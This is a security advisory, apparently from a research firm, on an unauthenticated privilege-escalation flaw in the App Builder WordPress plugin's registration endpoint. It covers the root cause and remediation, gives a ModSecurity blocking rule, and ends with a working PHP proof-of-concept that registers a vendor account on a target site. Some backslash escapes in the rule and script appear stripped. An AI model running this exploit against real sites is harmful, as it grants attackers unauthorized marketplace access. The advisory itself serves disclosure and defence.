Atomic Edge analysis of CVE-2026-2375 (metadata-based):
The App Builder plugin for WordPress contains an unauthenticated privilege escalation vulnerability in its REST API registration endpoint. Attackers can directly assign the vendor role during user registration, bypassing the WCFM Marketplace approval workflow and immediately gaining vendor-level access on affected sites.
Atomic Edge research identifies the root cause as improper privilege management (CWE-269) within the `verify_role()` function in `AuthTrails.php`. The function explicitly whitelists the `wcfm_vendor` role alongside standard roles like `subscriber` and `customer`. This whitelist approach, without integration with WCFM’s vendor approval system, allows direct role assignment via `wp_insert_user()`. The vulnerability description confirms these details, though Atomic Edge cannot verify the exact code implementation without the plugin source.
Exploitation occurs through the `/wp-json/app-builder/v1/register` REST API endpoint. An unauthenticated attacker sends a POST request with the `role` parameter set to `wcfm_vendor`. The request must include other required registration fields such as `username`, `email`, and `password`. The plugin accepts this role assignment without checking if the user should undergo WCFM’s vendor approval process, creating an account with immediate vendor privileges.
Remediation requires removing the `wcfm_vendor` role from the `verify_role()` function’s whitelist. The plugin should integrate with WCFM Marketplace’s vendor registration workflow instead of assigning the role directly. Vendor accounts must be created through WCFM’s proper channels, which include approval steps. The fix should also validate that users cannot self-assign privileged roles through the registration endpoint.
Successful exploitation grants attackers vendor-level access on sites with WCFM Marketplace active. This includes product management capabilities, order access, and store management functions. Attackers can create and modify products, view customer orders, and potentially manipulate store settings. The vulnerability bypasses business logic controls designed to vet vendors before granting marketplace access.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-2375 (metadata-based)
SecRule REQUEST_URI "@rx ^/wp-json/app-builder/v1/register$"
"id:20262375,phase:2,deny,status:403,chain,msg:'CVE-2026-2375: App Builder unauthenticated privilege escalation via role parameter',severity:'CRITICAL',tag:'CVE-2026-2375',tag:'WordPress',tag:'Plugin-App-Builder'"
SecRule REQUEST_METHOD "@streq POST" "chain"
SecRule REQUEST_BODY "@rx "role"s*:s*"wcfm_vendor""
"setvar:'tx.cve_2026_2375_score=+%{tx.critical_anomaly_score}',setvar:'tx.anomaly_score_pl1=+%{tx.critical_anomaly_score}'"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-2375 - App Builder – Create Native Android & iOS Apps On The Flight <= 5.5.10 - Unauthenticated Privilege Escalation via 'role' Parameter
<?php
$target_url = 'https://example.com'; // Change to target WordPress site
// Generate random credentials to avoid collisions
$username = 'vendor_' . bin2hex(random_bytes(4));
$email = $username . '@example.com';
$password = bin2hex(random_bytes(8));
$api_endpoint = $target_url . '/wp-json/app-builder/v1/register';
$payload = [
'username' => $username,
'email' => $email,
'password' => $password,
'role' => 'wcfm_vendor' // The vulnerable parameter
];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $api_endpoint);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($payload));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
'Content-Type: application/json',
'Accept: application/json'
]);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "Target: $target_urln";
echo "Endpoint: $api_endpointn";
echo "Username: $usernamen";
echo "Password: $passwordn";
echo "HTTP Status: $http_coden";
echo "Response: $responsen";
// Check for success indicators
if ($http_code === 200) {
$response_data = json_decode($response, true);
if (isset($response_data['success']) && $response_data['success'] === true) {
echo "[+] SUCCESS: Vendor account likely created with wcfm_vendor role.n";
echo "[+] Use credentials to log in and verify vendor capabilities.n";
} else {
echo "[-] Plugin returned error or unexpected response structure.n";
}
} else {
echo "[-] Request failed with HTTP $http_coden";
}
?>
